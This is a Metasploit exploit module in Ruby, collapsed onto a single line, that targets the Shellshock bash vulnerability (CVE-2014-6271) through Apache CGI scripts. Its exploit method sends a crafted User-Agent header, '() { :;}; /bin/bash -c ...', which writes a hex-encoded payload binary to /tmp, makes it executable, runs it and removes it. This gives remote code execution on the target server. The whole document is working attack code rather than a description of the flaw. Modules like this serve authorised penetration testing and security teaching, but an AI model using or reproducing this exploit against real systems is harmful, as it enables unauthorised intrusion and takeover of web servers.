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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Shellshock Bashed CGI RCE', 'Description'=> %q{ This module exploits the shellshock vulnerability in apache cgi. It allows you to excute any metasploit payload you want. }, 'Author' => [ 'Stephane Chazelas', # vuln discovery 'Fady Mohamed Osman' # Metasploit module f.othman at zinad.net ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2014-6271' ] ], 'Payload' => { 'BadChars' => "", }, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets'=> [ [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Aug 13 2014')) register_options( [ OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) , OptString.new('FILEPATH', [true, 'The url ', '/tmp']) ], self.class) end def exploit @payload_name = "#{rand_text_alpha(5)}" full_path = datastore['FILEPATH'] + '/' + @payload_name payload_exe = generate_payload_exe if payload_exe.blank? fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload") end peer = "#{rhost}:#{rport}" print_status("#{peer} - Creating payload #{full_path}") res = send_request_cgi({ 'method' => 'GET', 'uri'=> datastore['TARGETURI'], 'agent'=> "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" +"> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\"" }) end end |
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